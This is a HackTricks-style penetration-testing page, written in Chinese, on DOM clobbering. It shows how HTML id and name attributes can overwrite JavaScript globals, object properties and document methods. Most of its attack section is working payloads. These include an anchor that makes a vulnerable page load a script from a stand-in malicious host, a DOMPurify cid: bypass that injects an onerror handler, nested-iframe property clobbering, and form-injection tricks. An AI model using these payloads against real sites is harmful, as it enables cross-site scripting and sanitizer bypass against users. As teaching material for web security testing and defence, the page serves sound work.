> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/dom-clobbering.md).

# Dom Clobbering

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>

## **基础知识**

可以使用HTML标签中的\*\*`id`**和**`name`**属性在JS上下文中生成**全局变量\*\*。

```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```

**只有**某些元素可以使用**name属性**来覆盖全局变量，它们是：`embed`、`form`、`iframe`、`image`、`img`和`object`。

有趣的是，当您使用**form元素**来**覆盖**一个变量时，您将获得元素本身的\*\*`toString`**值：`[object HTMLFormElement]`，但使用**anchor**时，**`toString`**将是锚点的**`href`**。因此，如果您使用**`a`**标签来覆盖，您可以在将其视为字符串时**控制**该**值\*\*：

```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```

### 数组和属性

也可以**篡改数组**和**对象属性**：

```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```

要覆盖**第三个属性**（例如 x.y.z），您需要使用一个\*\*`form`\*\*：

```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```

通过使用 iframes，**覆盖更多属性**会变得**更加复杂但仍然可能**：

```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```

{% hint style="warning" %}
样式标签用于给iframe足够的时间来渲染。如果没有它，你会发现一个未定义的警报。
{% endhint %}

要深入破坏更多属性，可以使用带有HTML编码的iframe，如下所示：

```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```

### **绕过过滤器**

如果一个过滤器正在通过类似 `document.getElementByID('x').attributes` 这样的方式**循环**遍历节点的**属性**，你可以**覆盖**属性\*\*`.attributes`**并**破坏过滤器\*\*。其他 DOM 属性如\*\*`tagName`**、**`nodeName`**或**`parentNode`**等也是可以**覆盖\*\*的。

```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```

## **Clobbering `window.someObject`**

在 JavaScript 中经常会发现：

```javascript
var someObject = window.someObject || {};
```

操纵页面上的HTML允许用DOM节点覆盖`someObject`，可能引入安全漏洞。例如，您可以用指向恶意脚本的锚元素替换`someObject`：

```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```

在一个易受攻击的代码中，例如：

```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```

这种方法利用脚本源来执行不需要的代码。

**技巧**：**`DOMPurify`** 允许您使用 **`cid:`** 协议，该协议**不会对双引号进行 URL 编码**。这意味着您可以**注入一个编码的双引号，在运行时将被解码**。因此，注入类似于 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** 这样的内容将使 HTML 编码的 `&quot;` 在运行时**解码**并**从属性值中逃逸**，以**创建** **`onerror`** 事件。

另一种技术使用了一个 **`form`** 元素。某些客户端库会检查新创建的表单元素的属性以进行清理。但是，通过在表单内添加一个带有 `id=attributes` 的 `input`，您实际上覆盖了属性，阻止了消毒剂访问实际属性。

您可以在[**这篇 CTF 解密中找到这种类型的覆盖示例**](/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md#iframes-in-sop-2)。

## 覆盖文档对象

根据文档，可以使用 DOM 覆盖来覆盖文档对象的属性：

> [文档](https://html.spec.whatwg.org/multipage/dom.html#document)接口[支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。[文档](https://html.spec.whatwg.org/multipage/dom.html#document)对象在任何时刻支持的属性名称包括以下内容，按照贡献它们的元素的[树顺序](https://dom.spec.whatwg.org/#concept-tree-order)排列，忽略后续的重复，并且在相同元素同时贡献 id 属性和 name 属性时，来自 id 属性的值优先于来自 name 属性的值：
>
> \- 所有具有非空名称内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)和[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的名称内容属性的值；\
> \
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值；\
> \
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性和非空名称内容属性的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值的[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)元素，且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)。

使用这种技术，您可以覆盖常用的值，如 `document.cookie`、`document.body`、`document.children`，甚至文档接口中的方法，如 `document.querySelector`。

```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```

## 在元素被篡改后写入

对 **`document.getElementById()`** 和 **`document.querySelector()`** 的调用结果可以通过注入具有相同id属性的 `<html>` 或 `<body>` 标签来进行更改。以下是如何实现的：

```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```

此外，通过使用样式来隐藏这些注入的HTML/body标签，可以防止`innerText`中其他文本的干扰，从而增强攻击的效果：

```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

调查发现SVG可以有效地利用`<body>`标签：

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

要使HTML标签在Chrome和Firefox等浏览器中在SVG内起作用，需要使用`<foreignobject>`标签：

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

## Clobbering Forms

可以通过在某些标签中指定`form`属性来向表单中添加新条目。您可以使用这种方法向表单中添加新值，甚至可以添加一个新的按钮来发送它（点击劫持或滥用一些`.click()` JS代码）：

```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```

* 有关更多表单属性，请查看[**此处**](https://www.w3schools.com/tags/tag_button.asp)**。**

## 参考资料

* <https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering>
* <https://portswigger.net/web-security/dom-based/dom-clobbering>
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

</details>
